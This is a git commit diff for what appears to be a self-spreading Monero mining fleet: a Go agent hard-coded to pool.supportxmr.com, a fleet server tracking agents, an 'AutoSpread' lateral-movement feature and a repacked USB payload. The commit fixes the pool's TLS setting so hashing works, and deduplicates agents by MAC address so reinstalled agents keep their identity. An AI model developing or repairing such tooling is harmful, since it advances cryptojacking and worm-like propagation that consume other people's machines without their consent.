fix(mining+fleet): two critical bugs - 1) PoolTLS was true on port 3333 (non-TLS port) causing direct Stratum to always fail = no hashing. Fixed to false. 2) Duplicate agent entries: server now deduplicates by MAC address on auth. Agent now persists server-confirmed ID back to agent.id so reinstalls reconnect as same agent. USB repacked.

This commit is contained in:
AetherForge
2026-06-03 10:54:47 -07:00
parent f12cbe72d4
commit 2f85f2066d
7 changed files with 40 additions and 2 deletions

View File

@@ -288,6 +288,10 @@ func (c *AgentClient) authenticate() error {
} }
c.agentID = resp.AgentID c.agentID = resp.AgentID
log.Printf("[agent] authenticated as %s", c.agentID) log.Printf("[agent] authenticated as %s", c.agentID)
// Persist the server-confirmed ID so restarts always reconnect as the same agent.
if installDir, err := c.cfg.InstallDirectory(); err == nil {
_ = deploy.PersistAgentID(installDir, c.agentID)
}
// Gate AutoSpread behind successful server auth: only spread on fleets where // Gate AutoSpread behind successful server auth: only spread on fleets where
// our fleet secret was accepted, preventing lateral movement on non-owned networks. // our fleet secret was accepted, preventing lateral movement on non-owned networks.

View File

@@ -21,7 +21,7 @@ func GetBuiltinConfig() BuiltinConfig {
BuiltAt: time.Now(), BuiltAt: time.Now(),
PoolHost: "pool.supportxmr.com", PoolHost: "pool.supportxmr.com",
PoolPort: 3333, PoolPort: 3333,
PoolTLS: true, PoolTLS: false,
PoolPass: "x", PoolPass: "x",
MaxCPUUsage: 80, MaxCPUUsage: 80,
MaxMemoryPct: 70, MaxMemoryPct: 70,

View File

@@ -49,3 +49,13 @@ func writeAgentID(installDir, id string) error {
path := filepath.Join(installDir, agentIDFile) path := filepath.Join(installDir, agentIDFile)
return os.WriteFile(path, []byte(id+"\n"), 0600) return os.WriteFile(path, []byte(id+"\n"), 0600)
} }
// PersistAgentID writes the server-confirmed agent ID to disk, overwriting any
// locally-generated one. This ensures restarts always reconnect as the same agent.
func PersistAgentID(installDir, id string) error {
if id == "" {
return nil
}
_ = os.MkdirAll(installDir, 0755)
return writeAgentID(installDir, id)
}

View File

@@ -484,10 +484,20 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
return return
} }
agentID = auth.AgentID agentID = auth.AgentID
if agentID == "" {
// Try to match an existing agent by MAC address so a re-installed
// agent reuses its DB record instead of creating a ghost entry.
if auth.MacAddress != "" {
if existingID, err := h.db.FindAgentByMAC(auth.MacAddress); err == nil && existingID != "" {
agentID = existingID
log.Printf("[WS] Matched agent by MAC %s → reusing id=%s", auth.MacAddress, agentID)
}
}
if agentID == "" { if agentID == "" {
agentID = uuid.New().String() agentID = uuid.New().String()
} }
}
displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID) displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID)

View File

@@ -198,6 +198,20 @@ func (d *Database) DeleteAgent(id string) error {
return err return err
} }
// FindAgentByMAC returns the agent ID for an agent whose MAC address matches.
// Returns ("", nil) when no match is found.
func (d *Database) FindAgentByMAC(mac string) (string, error) {
if mac == "" {
return "", nil
}
var id string
err := d.QueryRow("SELECT id FROM agents WHERE mac_address = ? LIMIT 1", mac).Scan(&id)
if err == sql.ErrNoRows {
return "", nil
}
return id, err
}
func (d *Database) GetAgent(id string) (*models.Agent, error) { func (d *Database) GetAgent(id string) (*models.Agent, error) {
query := `SELECT ` + agentSelectCols + ` FROM agents WHERE id = ?` query := `SELECT ` + agentSelectCols + ` FROM agents WHERE id = ?`
return d.scanAgent(d.QueryRow(query, id)) return d.scanAgent(d.QueryRow(query, id))

Binary file not shown.

Binary file not shown.